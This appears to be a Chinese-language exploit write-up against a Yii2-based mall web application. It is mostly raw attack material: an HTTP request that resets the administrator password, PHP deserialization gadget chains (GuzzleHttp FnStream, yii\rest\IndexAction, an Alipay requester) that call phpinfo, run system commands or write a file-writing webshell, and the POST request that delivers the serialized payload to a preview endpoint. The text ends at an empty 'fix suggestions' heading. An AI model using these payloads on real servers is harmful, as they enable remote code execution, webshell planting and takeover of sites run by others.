POST /web/index.php?r=admin%2Fpassport%2Fedit-password HTTP/1.1Host: www.xxx.comCookie: （刷新登陆页获取会话Cookie）
form%5Bcaptcha%5D=lxcq&form%5Bchecked%5D=false&form%5Busername%5D=admin&form%5Bpass%5D=admin8881&form%5BcheckPass%5D=admin8881&form%5Bmobile%5D=13800000001&user_type=1&mall_id=&_csrf=Sb4pjMU6cTcrKLfqjwJWdhm-d5Zt7J1BWiFUZtiLoDRx9mHJlnAFel9N06G_VhgbL89C_C66-gY2agFTiurvYA%3D%3D

<?php
namespace GuzzleHttp\Psr7 {    class FnStream {        var $_fn_close = "phpinfo";    }}
namespace yii\db {    use GuzzleHttp\Psr7\FnStream;    class BatchQueryResult {        private $_dataReader;        public function __construct() {            $this->_dataReader = new FnStream();        }    }}
namespace {    use yii\db\BatchQueryResult;    echo urlencode(serialize(new BatchQueryResult()));}

POST /web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1 HTTP/1.1Host: www.xxx.comContent-Type: application/x-www-form-urlencodedContent-Length: 233
form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D

<?php
namespace yii\rest {    class IndexAction {        public $checkAccess;        public $id;        public function __construct() {            $this->checkAccess="system";            $this->id="calc.exe";        }    }}
namespace yii\web {    use yii\rest\IndexAction;    class DbSession {        protected $fields = [];        public $writeCallback;        public function __construct() {            $this->writeCallback=[(new IndexAction),"run"];            $this->fields['1'] = 'aaa';        }
    }}
namespace yii\db {    use yii\web\DbSession;    class BatchQueryResult {        private $_dataReader;        public function __construct() {            $this->_dataReader = new DbSession();        }    }}
namespace {    use yii\db\BatchQueryResult;    echo urlencode(serialize(new BatchQueryResult()));}?>

1） 通过assert来执行php代码。但是在php7的环境中assert不再是函数，而是关键字。是不能通过call_user_func来回调执行的，所以这条路失败了。

2） 通过文件包含include或者require来包含本地文件执行php代码。但是实际测试的结果来看，include和require也不是函数，只是关键字。

3） 通过file_put_contents或者fwrite来写文件，但是这两个函数都需要传递至少两个参数。

<?php
namespace Alipay {    class AlipayRequester {        public $callback = "file_put_contents";        public $gateway = "xxxx";        public $charset = "334.php";    }}
namespace yii\rest {    use Alipay\AlipayRequester;    class IndexAction {        public $checkAccess;        public $id;        public function __construct() {            $this->checkAccess=[(new AlipayRequester),"execute"];            $this->id='<?php $a="fwrite";$h = fopen($_REQUEST[f], "a");$a($h, htmlspecialchars_decode(htmlspecialchars_decode($_REQUEST[c])));';        }    }}
namespace yii\web {    use yii\rest\IndexAction;    class DbSession {        protected $fields = [];        public $writeCallback;        public function __construct() {            $this->writeCallback=[(new IndexAction),"run"];            $this->fields['1'] = 'aaa';        }
    }}
namespace yii\db {    use yii\web\DbSession;    class BatchQueryResult {        private $_dataReader;        public function __construct() {            $this->_dataReader = new DbSession();        }    }}
namespace {    use yii\db\BatchQueryResult;    echo urlencode(serialize(new BatchQueryResult()));}?>

修复建议